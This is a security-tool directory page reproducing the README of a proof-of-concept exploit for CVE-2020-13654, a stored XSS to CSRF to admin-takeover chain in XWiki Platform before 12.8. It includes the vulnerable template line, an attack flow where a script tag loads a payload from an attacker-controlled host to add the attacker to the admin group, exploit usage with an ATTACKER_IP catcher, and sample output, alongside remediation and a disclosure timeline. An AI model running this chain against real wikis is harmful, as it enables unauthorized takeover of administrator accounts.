Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-13654 — CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover | Kitploit
Tools/GitHubGitHub/astaruf/cve-2020-13654
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubastaruf/cve-2020-13654

CVE-2020-13654

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Privilege Escalation

Discovered & reported by: Astaruf
Full writeup: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2020-13654


Vulnerability

XWiki Platform before version 12.8 does not apply HTML encoding to user-controlled fields in the profile editor. The affected field confirmed during research is "Company" (under Edit → Personal Information), but other profile fields share the same code path.

When a profile page is rendered, the stored field value is output verbatim into the HTML without any call to $escapetool.xml() or equivalent escaping. An attacker with any authenticated account, including a freshly self-registered one, can store arbitrary HTML/JavaScript that executes persistently in the browser of every user who visits the profile, including administrators.

Root cause in the affected Velocity template:

root@kitploit:~
## Vulnerable (< 12.8): value written directly to the DOM
$xwiki.getUserProperty($user, "company")

## Fixed (≥ 12.8): value HTML-encoded before output
$escapetool.xml($xwiki.getUserProperty($user, "company"))
FieldValue
ProductXWiki Platform
Affected versions< 12.8
Fixed in12.8
CVSSv3 score

Attack Scenario

This PoC demonstrates a zero-click privilege escalation chain:

root@kitploit:~
Low-privilege attacker account
        │
        ├─ stores <script src="http://attacker/payload.js"> in Company field
        ▼
  XWiki profile page (poisoned)
        │
        ├─ admin navigates to the page (e.g. via user list or support ticket)
        ▼
  Payload executes in admin browser session
        │
        ├─ fetches /bin/view/XWiki/XWikiAdminGroup  →  extracts CSRF token
        ├─ POSTs form_token + xpage=adduorg + name=attacker  →  adds attacker to XWikiAdminGroup
        │
        ▼
  Attacker now has full admin access

No admin interaction beyond a single page visit is required.


PoC

poc.py is a self-contained exploit script. It:

  1. Optionally self-registers a new low-privilege account via XWiki's open registration endpoint
  2. Authenticates the attacker account and injects the XSS payload into the Company profile field, preserving all other existing field values
  3. Verifies the payload is present in the rendered page source
  4. Starts an integrated HTTP server that serves the embedded JavaScript payload (/payload.js) and logs incoming beacons
  5. Waits for an administrator to visit the poisoned profile URL

When the admin visits the URL, the stored <script src="..."> tag loads payload.js from the attacker's server. The payload runs in the admin's authenticated browser context, silently adds the attacker's account to XWikiAdminGroup, and beacons the outcome back.

Usage

root@kitploit:~
pip install -r requirements.txt

With self-registration (no pre-existing account needed):

root@kitploit:~
python poc.py \
  --target     http://TARGET:8080 \
  --catcher    http://ATTACKER_IP:9000 \
  --username   hacker \
  --password   'P@ssw0rd123' \
  --register   \
  --first-name John \
  --last-name  Doe \
  --email      [email protected]

With an existing low-privilege account:

root@kitploit:~
python poc.py \
  --target   http://TARGET:8080 \
  --catcher  http://ATTACKER_IP:9000 \
  --username hacker \
  --password 'P@ssw0rd123'

Arguments

Expected output

root@kitploit:~
[*] Registering account 'hacker' ...
✅  Registration successful.
[*] Authenticating as 'hacker' ...
✅  Authenticated. Session: {'JSESSIONID': 'ABC...'}
[*] Injecting payload into 'hacker' profile ...
✅  Payload stored: <script src="http://192.168.1.10:9000/payload.js"></script>
[*] Verifying stored payload ...
✅  Payload confirmed in page source.

════════════════════════════════════════════════════════════
  EXPLOIT ARMED — WAITING FOR VICTIM

  Share this URL with (or wait for) an administrator to visit:
  >>>  http://TARGET:8080/bin/view/XWiki/hacker

  When triggered, the attacker account 'hacker'
  will be silently added to XWikiAdminGroup.
════════════════════════════════════════════════════════════

2024-01-15 10:23:01 [INFO] 📡 Payload executing in victim browser | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 PRIVILEGE ESCALATION SUCCEEDED     | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker

Remediation

Upgrade to XWiki Platform ≥ 12.8.

The fix applies $escapetool.xml() to all user-controlled profile fields before they are rendered, preventing injection of raw HTML/JavaScript.

If an immediate upgrade is not possible, restrict self-registration and limit profile visibility to trusted users via XWiki's access rights management.


Timeline

DateEvent

References

  • https://nvd.nist.gov/vuln/detail/CVE-2020-13654
  • https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
  • https://github.com/xwiki/xwiki-platform
  • https://cwe.mitre.org/data/definitions/116.html

Disclaimer

This repository is provided for educational and authorized security research purposes only.
Do not use against systems you do not own or have explicit written permission to test.
The author assumes no liability for misuse.

Download Tool
7.5 (High)
CWECWE-116 — Improper Encoding or Escaping of Output
ArgumentRequiredDescription
--target✅XWiki base URL
--catcher✅Attacker-controlled URL (used to serve payload.js and collect beacons)
--username✅Attacker account username
--password✅Attacker account password
--register✗Auto-register the account before exploiting
--first-nameif --registerRegistration first name
--last-nameif --registerRegistration last name
--emailif --registerRegistration email
May 2020Vulnerability discovered
May 2020Reported to XWiki security team
Jul 2020Patched in XWiki Platform 12.8
Nov 2020CVE-2020-13654 assigned by MITRE
Dec 30, 2020Public disclosure — nstsec.com